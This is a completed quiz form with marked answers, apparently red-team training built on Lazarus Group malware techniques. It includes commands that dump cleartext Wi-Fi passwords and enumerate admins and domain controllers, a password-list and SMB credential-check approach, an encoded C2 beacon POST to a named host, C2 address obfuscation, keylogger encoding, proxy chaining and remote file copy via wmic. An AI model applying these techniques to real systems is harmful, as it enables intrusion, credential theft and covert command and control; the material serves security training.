APT Quiz - Batch 4

Total points 250/250

LAZARUS Tactics, Techniques and Procedures

Email address *

varkeymjohn@gmail.com

40 of 40 points

Don't touch suspicious emails...!

Around February 2018, LAZARUS group has been using word documents with embedded scripts for their spear-phishing campaigns on financial institutions. You decided to investigate these files to use it in your own red teaming activities. You get hold of one of their phishing documents named Agreement.docx. You're not too sure how to use this file for red teaming. So you play around with the file. You check the file description and it shows you that the file is docx file. You double click it and you see that indeed you get a docx file, with no strange malware or anything present…

Agreement.docx

AGREEMENT

Between

(Exchange Name)

With

[redacted]

This Agreement is made and entered into on the (month-day-year) by and between the undersigned parties below:

1. (EXCHANGE NAME), a company established under (Country Name) Law and having its address of business at (Address), in this matter represented by CEO name, in his capacity as Board of Director and therefore acting for and on behalf of (EXCHANGE NAME) hereinafter referred to as ---------- ---------- FIRST PARTY;

2. [redacted] individual whose holding France passport and having its address at [redacted] and therefore acting for and on behalf of himself/herself, hereinafter referred to as ----------SECOND PARTY;

Here in after FIRST PARTY and SECOND PARTY may sometimes individually be referred to as PARTY and collectively as THE PARTIES.

In consideration of the following underlying matters of the agreement, hereby declare as follows:

1. First Party is a company operating as a marketplace for trading the digital currencies especially Bitcoin, through its website exchange URL;

2. Second Party is a trader engaged in money service and cryptocurrency trading system and has a concern to cooperate with the First Party to conduct the trade of Bitcoin Trading;

3. The Parties agree to cooperate within the terms and conditions set forth herein, in order to allow the Second Party to operate Bitcoin Trading Activities and to distribute bitcoin on the Bitcoin Marketplace operated by the First Party, under the supervision of the First Party.

NOW, THEREFORE, The Parties are intending to be mutually bound under this Memorandum of Understanding and hereby agree as follows:

A few days later, you see something strange in your Antivirus activity, and you're getting calls and emails from EY security. They're saying something about zero days and backdoors and what not! So it was indeed a malware! How will you use it for red teaming?

Common data for first 4 questions

✓ 1.1) Which CVE is being used for this attack? 5/5

- ○ CVE-2018-4870
- ○ CVE-2018-4873
- ○ CVE-2018-4879
- ◉ CVE-2018-4878 ✓

✓ 1.2) You want to try some phishing with this file for your next engagement. How does this file work though? Can you figure out how double clicking the Agreement.docx file can cause so much problems? It was anyway only a doc file right? 10/10

- ○ Macros inside the doc files were enabled to execute the CVE-2018 vulnerability
- ○ When double clicked, the doc file along with the malware using the CVE-2018 vulnerability are extracted and executed (This was possible since the file was actually a compressed file instead of a docx file)
- ◉ When double clicked, a flash file script inside the doc file gets loaded to download and execute a dll ✓
- ○ When double clicked, the malware IndiaIndia gets run which saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server.

✓ 1.3) Maybe the file also creates a backdoor! That would be really useful for connecting remotely to your target machine! You want to analyse your system now to see if the file actually does create a backdoor. You probably can check this by seeing the services and ports running on your system. Which command do you use? 5/5

- ○ nmap -sn localhost
- ◉ netstat -an ✓
- ○ ipconfig /all
- ○ nslookup localhost

✓ 1.4) You realize the malware first sends a “Ready to receive communication” packet to server. After this the server sends the commands back to the malware in the system to perform the required commands remotely. Based on the DWORDs received, the required commands are performed. Why don’t we use it in our engagements as well? We could probably enumerate the network, get Wi-Fi passwords and other cool things with this! Try writing a switch case statement in your preferred language to run the following commands (Use system OS commands): a. 123459h -> Display all network adapter information b. 12345Ah -> Enumerate local admin users c. 12345Bh -> Enumerate DC servers d. 12345Ch -> Show cleartext Wi-Fi password of AP with SSID “CompanyCorp”(Hint: Malware file is a2e966edee45b30bb6bb5c978e55833eec169098) 20/20

- [ ] 123459: os(cmd.exe /c netsh interface show interface)
- [x] 123459: os(cmd.exe /c ipconfig /all) ✓
- [x] 12345A: os(cmd.exe /c net localgroup administrators) ✓
- [ ] 12345A: os(cmd.exe /c net group “Administrators”)
- [ ] 12345B: os(cmd.exe /c net group "Domain Controllers")
- [x] 12345B: os(cmd.exe /c net group "Domain Controllers" /domain) ✓
- [x] 12345C: os(cmd.exe /c netsh wlan show profile name=”CompanyCorp” key=clear) ✓
- [ ] 12345C: os(cmd.exe /c netsh wlan show profile ssid=”CompanyCorp” key=clear)

More malware...!

105 of 105 points

You are now so excited about what can be done with LAZARUS malware that you download a whole bunch of them from the internet and from the dark web (this time on your test laptop, mind you!). You start testing them to check what all activities are being performed by the malware. Probably you can use the commands that the malware uses for your engagements…

✓ 2) While trying to test one of the malwares on a VM in your test machine, you suddenly realize that the VM gets encrypted! And you have to pay $300 to get the VM to be decrypted! You are now scared that the virus could spread to other VMs as well... So you take the virus and reverse engineer it to see if you can find any way to stop it from infecting other VMs. How will you do that? 5/5

- ○ Try to quarantine the malware in the infected machine using antivirus
- ○ Try to overflow the buffer in the malware to perform DoS on the malware
- ○ Turn off all outbound connections in the VMs in firewall to prevent the malware from communicating to Command & Control server.
- ◉ Check if there are any unusual domain names in the malware and buy them ✓

✓ 3) Now that you were able to stop the first malware you tried from spreading further, you decided to try the next malware on the host system itself, instead of on the VM. You execute the malware to see how it functions. However, this is something you shouldn't have done – the hard disks have now started to get corrupted!You get frightened and turn off the system so that the malware won't work anymore. You try rebooting the system but the malware is still functional and destroying your hard disks. You check your system a bit and realize that the MBR is modified.How does the malware persist even after a reboot? 15/15

- ◉ a. The master boot record has a loader that starts the OS. Modifying the MBR in order to attach malicious software allows for execution of malicious program before loading of the OS. This enables persistence ✓
- ○ b. The master boot record holds the registry run keys. Modifying the MBR will change the registry run keys and enable persistence
- ○ c. The master boot record holds the values in the startup folder. Modifying the MBR will change the values in the startup folder and enable persistence
- ○ d. Both a and b

✓ 4) You read up on some other malwares on your phone now... North Korean RAT FALLCHILL is seen to use Fake TLS along with Multiple Proxies and RC4 encryption to obfuscate data transmission from C2 to victim machine. How do we do it in our red teams to prevent IP tracking (TLS, encryption not required)? a. What is the configuration to create a dual proxy transmission network (Host1: http:178.3.33.21:80, Host2: http:174.43.21.1:80) to victim machine in Linux? b. With this configuration, send a ping to victim machine (IP:173.4.6.43) through the dual proxy created in step a 15/15

- (●) a. In proxychains.conf: http 178.3.33.21 80 <\n> http 174.43.21.1 80; b. proxychains ping 173.4.6.43 ✓
- ( ) a. In proxychains.conf: 178.3.33.21 80 <\n> 174.43.21.1 80; b. proxychains ping 173.4.6.43
- ( ) a. In proxychains.conf: http 178.3.33.21 80 <\n> http 174.43.21.1 80; b. ping 173.4.6.43
- ( ) a. In proxychains.conf: 178.3.33.21 80 <\n> 174.43.21.1 80; b. ping 173.4.6.43

✓ 5) SierraBravo-One has been seen to use brute force attacks on SMB. One method used to perform these attacks is by the use of varying versions of administrator and domain names. We use a similar technique in red teaming for passwords. a. Write down the command using crunch to create a list of passwords in following format: Domain_Name (MEA) + 'Administrator' + <00000 to 99999>? b. Assume a valid normal domain username and password has been obtained by some other means (eg. Phishing). What technique will you use to check if the credentials are valid? 15/15

- ○ Crunch command: crunch 5 5 -t MEAAdministrator%%%%%; Credentials check: Use HTTP login check tool to check credentials in Domain Controller
- ○ Crunch command: crunch 21 21 -t MEAAdministrator%%%%%; Credentials check: Use HTTP login check tool to check credentials in Domain Controller
- ○ Crunch command: crunch 5 5 -t MEAAdministrator%%%%%; Credentials check: Use RDP login check tool to check credentials in Domain Controller
- ○ Crunch command: crunch 21 21 -t MEAAdministrator%%%%%; Credentials check: Use RDP login check tool to check credentials in Domain Controller
- ○ Crunch command: crunch 5 5 -t MEAAdministrator%%%%%; Credentials check: Use SMB login check tool to check credentials in Domain Controller
- ◉ Crunch command: crunch 21 21 -t MEAAdministrator%%%%%; Credentials check: Use SMB login check tool to check credentials in Domain Controller ✓
- ○ Crunch command: crunch 5 5 -t MEAAdministrator%%%%%; Credentials check: Use SSH login check tool to check credentials in Domain Controller
- ○ Crunch command: crunch 21 21 -t MEAAdministrator%%%%%; Credentials check: Use SSH login check tool to check credentials in Domain Controller

✓ 6) KiloAlfa keylogging is known to use DNSCALC style encoding for encryption, which is used by many other LAZARUS group malware families. You created a similar keylogger using your favourite programming language. You want to use the keylogger in your next red team. You start testing it locally and when the victim entered the Facebook account credentials (P@ss) of the “company”, your keylogger was able to capture the data. The data gets encrypted using DNSCALC style. a. What is the encrypted hex output (Assume XOR is performed first. XOR key = 0x31, ADD key = 0x8A. Perform encryption on each character and combine)? b. What is the function used by KiloAlfa to perform keylogging (to determine state of key)? 20/20

- ○ EBFBCCCC, GetKeyState
- ○ 504073CC, GetKeyState
- ◉ EBFBCCCC, GetAsyncKeyState ✓
- ○ 504073CC, GetAsyncKeyState

Feedback

Congrats! Here is the solution: P@ss in Hex = 50407373 XOR 31313131 = 61714242+ 8A8A8A8A= EBFBCCCC

✓ 7) You understood that LAZARUS group uses folders for staging files. One of those folders could be the temp folder. We could use it as well. But we need to know more about how this folder works. Which of the following statements about the temp folder is true? 10/10

- ○ Deleting any file inside the temp folder won't create any issue to any program
- ○ Windows automatically deletes every file inside the temp folder on every boot
- ◉ Files older than a week can reside in the temp folder ✓
- ○ The temp folder is used to store temporary files only for Web-browser related content

✓ 8) MinaOTP has been on the loose recently to deliver the dacls RAT. The malware sample available with you is 6de65fc57a4428ad7e262e980a7f6cc7. Some day, you also may need to use this malware for red teaming activities. But will it get caught by Antivirus? Indicate all antivirus softwares that will catch this sample. 15/15

- ☑ Avira (no cloud) ✓
- ☑ AhnLab-V3 ✓
- ☐ CrowdStrike Falcon
- ☑ Jiangmin ✓

✓ 9) In the Bitcoin campaign, HaoBao, the implant uses reflective DLL injection. How will you compare between DLL injection and DLL hijacking? 10/10

- ○ They are both same. They both make a legitimate application run a malicious DLL by changing the DLL search location
- ○ They are both same. They both run a malicious application using a legitimate DLL
- ◉ They are different. DLL injection occurs when the application process is modified and a malicious DLL library name is written into the memory space while DLL hijacking involves placing the malicious DLL in one of the directories the application is searching for ✓
- ○ They are different. DLL injection occurs when the malicious DLL is placed in the directories the application is searching for while DLL hijacking occurs when the application process is modified and a malicious DLL library name is written into the memory space

Technical techniques... 105 of 105 points

After hours of checking the events in your laptop (and getting scolded for downloading malware in EY laptop), it was concluded that, by policy, your EY laptop had to be reimaged. So you gave your laptop to your friendly next-door neighbour “IT team” that sits there ->
Not having your company laptop, you decided to read up on LAZARUS tactics in your phone and test laptop so that you can replicate them elsewhere.

✓ 10) First off, you find that the Dec 2018 attack on Chilean interbank network Redbanc is linked to Lazarus Group. It seems they have used the PowerRatankba malware for this attack. Which of the following activities are performed by this malware? (Mark all that apply) (Ref MISP) 5/5

- ☑ PowerRatankba is mainly used to gather the victim system information ✓
- ☑ One of the services that PowerRatankba uses is WMI ✓
- ☑ PowerRatankba adds persistence by adding itself at startup location ✓
- ☑ PowerRatankba is powershell-based malware ✓

✓ 11) You learn that SierraAlfa accesses the ADMIN$ via SMB to conduct lateral movement. This we try in many red teams. What is ADMIN$ and SYSVOL? 10/10

- ○ ADMIN$ is an administrative share while SYSVOL is the system volume file in the domain controller
- ○ SYSVOL is a share in the domain controller while ADMIN$ is the share used by administrators to access C drive
- ○ ADMIN$ is the folder name for C drive when accessed remotely while SYSVOL is the system volume file in the domain controller
- ◉ They are both administrative shares. ADMIN$ is share for Windows OS location and SYSVOL is a Domain Controller specific share ✓

✓ 12) Lazarus Group is known to have used CHM files to move concealed payloads. How do we create a CHM file to conceal our payloads? 5/5

- ○ Use Word to create a normal docx file, along with appropriate section demarcations, and save as .chm file
- ◉ Use HTML help workshop to create the chm file using a .hhp file ✓
- ○ Use notepad to create the file and save it as .chm
- ○ Use the CHM compressor to compress the HTML and image files together into a .chm file

✓ 13) You also learned that various LAZARUS group malwares enumerate logged on users. Which of the following options will give the list of logged on users in the server you have remote access to? (Choose all that apply) 10/10

- [ ] net user /domain (command in cmd)
- [ ] net user (command in cmd)
- [x] query user (command in cmd) ✓
- [x] Users tab in Task Manager ✓

✓ 14) You find that LAZARUS, in the HaoBao campaign, communicated data with the C2 using encoding and a POST request. Can we use it in our campaigns as well? Write the payload in a POST request to www.worker1.co.kr. Send payload in the following format: /html/course/course05.asp?idx=%d&no=%s (idx and no values are as used in the campaign). The registry key HKCU\Software\Bitcoin\Bitcoin-Qt exists, computer name is IN12112 and username is Bob.John 20/20

- ( ) /html/course/course05.asp?idx=18&no= fXoFBgUFBmh2W1YafltcWg==
- (•) /html/course/course05.asp?idx=24&no= fXoFBgUFBmh2W1YafltcWg== ✓
- ( ) /html/course/course05.asp?idx=18&no= SU4xMjExMlxCb2luSm9oWg==
- ( ) /html/course/course05.asp?idx=24&no= SU4xMjExMlxCb2luSm9oWg==

Feedback

Congrats! Here is the solution: Step 1. ASCII to Hex of IN12112\Bob.John = 494e31323131325c426f622e4a6f686e, Step 2. Byte based XOR of Hex with 0x34 as key (494e31323131325c426f622e4a6f686e XOR 34343434343434343434343434343434= 7d7a050605050668765b561a7e5b5c5a. Step 3. Base64 encode XOR (Hex to Base64). Idx=24 as key exists

✓ 15) You learn that RomeoDelta is very crafty in its approach to communicate with the C2 server. It has a config file with the C2 domain names. It first tries to resolve the domain name. If it gets an IP, the IP is “decrypted” to get the real IP of the C2. Can we do a similar attack? Encrypt the IP 173.43.58.4 using this algorithm (use same key as used by RomeoDelta). What is the output IP in normal decimal notation. 15/15

- ○ 72.109.7.35
- ○ 42.190.228.58
- ◉ 183.146.248.220 ✓
- ○ 30.79.86.249

Feedback

Congrats! This is the solution: XOR hex input 0xad2b3a04 with 0x1ab9c2d8 to get b792f8dc

✓ 16) cmd, wmic and net.exe are also favourites of LAZARUS group You want to use some of these tools to remotely copy all files and subdirectories from server's (C2) directory to local victim machine (Think of mass tool infiltration!). Which of the following commands will do the trick? 20/20

- a. wmic /user:domain\username /password:xxxxxxx /node:node1 process call create "powershell.exe net use \\10.10.10.10\directory /user:domain\username p@ssw)rD |xcopy "\\10.10.10.10\directory\" C:\Users\client\Desktop\"
- b. wmic /user:domain\username /password:xxxxxxx /node:node1 process call create "cmd.exe net use \\10.10.10.10\directory\ /user:domain\username p@ssw)rD
- (●) c. wmic /user:domain\username /password:xxxxxxx /node:node1 process call create "cmd.exe net use \\10.10.10.10\directory /user:domain\username p@ssw)rD |robocopy "\\10.10.10.10\directory\" C:\Users\client\Desktop\" /e ✓
- d. Both a and c

✓ 17) You also observed that LAZARUS group is known to use Mimikatz in their attacks to dump credentials. Which of the following is/are true in this regard? 20/20

- LSASS is a process that implements some functionalities of LSA such as authentication and enforcing security policy
- SAM is a part of LSA
- Some user credentials stored in LSA are available even after reboot
- (●) All of the above ✓

Submission ID (skip this field) *

⚠ DO NOT EDIT this field or your time will not be recorded.

bVJfaSJexakFRuJe

This content is neither created nor endorsed by Google. - Terms of Service - Privacy Policy

Google Forms